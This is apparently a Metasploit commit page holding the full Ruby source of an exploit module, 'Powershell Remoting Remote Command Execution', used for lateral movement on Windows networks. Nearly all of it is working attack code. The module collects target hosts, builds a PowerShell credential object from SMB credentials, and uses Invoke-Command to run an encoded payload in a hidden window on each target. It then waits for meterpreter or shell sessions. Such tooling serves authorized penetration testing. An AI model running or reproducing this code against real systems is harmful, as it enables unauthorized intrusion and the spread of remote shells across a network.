Land #4318, Lateral movement through PSRemoting
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sinn3r
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##
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# This module requires Metasploit: http://metasploit.com/download
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# Current source: https://github.com/rapid7/metasploit-framework
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##
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require 'msf/core'
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require 'rex'
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class Metasploit3 < Msf::Exploit::Local
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Rank = ExcellentRanking
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include Msf::Exploit::Powershell
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def initialize(info = {})
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super(update_info(info,
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'Name' => 'Powershell Remoting Remote Command Execution',
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'Description' => %q{
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Uses Powershell Remoting (TCP 47001) to inject payloads on target machines.
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If RHOSTS are specified it will try to resolve the IPs to hostnames, otherwise
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use a HOSTFILE to supply a list of known hostnames.
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},
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'License' => MSF_LICENSE,
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'Author' => [ 'Ben Campbell' ],
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'References' =>
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[
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[ 'CVE', '1999-0504'], # Administrator with no password (since this is the default)
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[ 'OSVDB', '3106']
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],
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'DefaultOptions' =>
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{
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'EXITFUNC' => 'thread'
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},
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'DisclosureDate' => 'Jan 01 1999',
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'Platform' => [ 'win' ],
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'SessionTypes' => [ 'meterpreter', 'shell' ],
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'Targets' =>
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[
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[ 'Automatic', { 'Arch' => [ ARCH_X86, ARCH_X86_64 ] } ]
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],
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'DefaultTarget' => 0
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))
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register_options([
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OptString.new('SMBUser', [ false, 'The username to authenticate as' ]),
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OptString.new('SMBPass', [ false, 'The password for the specified username' ]),
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OptString.new('SMBDomain', [ false, 'The Windows domain to use for authentication' ]),
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OptAddressRange.new("RHOSTS", [ false, "Target address range or CIDR identifier" ]),
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OptPath.new('HOSTFILE', [ false, 'Line separated file with hostnames to target' ]),
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# Move this out of advanced
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OptString.new('ReverseListenerComm', [ false, 'The specific communication channel to use for this listener']),
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OptBool.new("ExitOnSession", [ true, "Return from the exploit after a session has been created", false ])
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])
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register_advanced_options(
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[
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OptInt.new("ListenerTimeout", [ false, "The maximum number of seconds to wait for new sessions", 60])
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], self.class)
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end
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def exploit
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if !datastore['ExitOnSession'] && !job_id
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fail_with(Failure::Unknown, "Setting ExitOnSession to false requires running as a job (exploit -j)")
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end
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unless datastore['RHOSTS'] || datastore['HOSTFILE']
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fail_with(Failure::BadConfig, "Need RHOSTS or HOSTFILE specified.")
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end
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if datastore['SMBUser'] && datastore['SMBPass'].nil?
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fail_with(Failure::BadConfig, "Need both username and password set.")
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end
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if datastore['RHOSTS']
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ip_list = "$iplist="
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Rex::Socket::RangeWalker.new(datastore["RHOSTS"]).each do |ip|
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ip_list << "'#{ip}',"
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end
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# Remove trailing comma...
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ip_list = ip_list[0..-2]
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ip_list << ";"
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end
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known_hosts = ""
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if datastore['HOSTFILE']
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::File.open(datastore['HOSTFILE'], "rb").each_line do |hostname|
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hostname.strip!
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known_hosts << "'#{hostname}'," unless hostname.blank?
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end
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known_hosts = known_hosts[0..-2]
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end
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command = cmd_psh_payload(payload.encoded,
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payload_instance.arch.first,
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encode_final_payload: true,
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remove_comspec: true)
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ps = <<EOF
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#{generate_credentials}
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$ResultList=@(#{known_hosts});
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#{ip_list}
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foreach($ip in $iplist){$Resultlist += [System.Net.Dns]::GetHostbyAddress($ip).HostName};
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Invoke-Command -AsJob -ComputerName $ResultList -ScriptBlock { cmd.exe /c start #{command} }
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EOF
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if datastore['SMBUser']
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ps << " -Credential $creds"
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end
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# If the host process terminates too quickly the jobs will die
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# before they spawn in a new process.
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ps << ";Sleep 20;"
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ps.gsub!("\n", "")
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command = generate_psh_command_line(
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noprofile: true,
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windowstyle: 'hidden',
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command: ps
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)
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print_status("Executing command...")
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begin
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cmd_exec(command)
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rescue Rex::TimeoutError
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end
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stime = Time.now.to_f
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loop do
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break if session_created? && datastore['ExitOnSession']
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break if datastore['ListenerTimeout'].to_i > 0 && (stime + datastore['ListenerTimeout'].to_i < Time.now.to_f)
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Rex.sleep(1)
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end
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print_status("Completed")
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end
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def generate_credentials(domain = datastore['SMBDomain'], user = datastore['SMBUser'], pass = datastore['SMBPass'])
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creds = ""
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unless user.nil?
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creds = "$pass=ConvertTo-SecureString -string '#{pass}' -asPlainText -force;"\
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"$creds=new-object -typename System.Management.Automation.PSCredential -argumentlist "
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if domain.nil?
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creds << "'#{user}'"
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else
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creds << "'#{domain}\\#{user}'"
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end
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creds << ",$pass;"
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end
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creds
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end
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end
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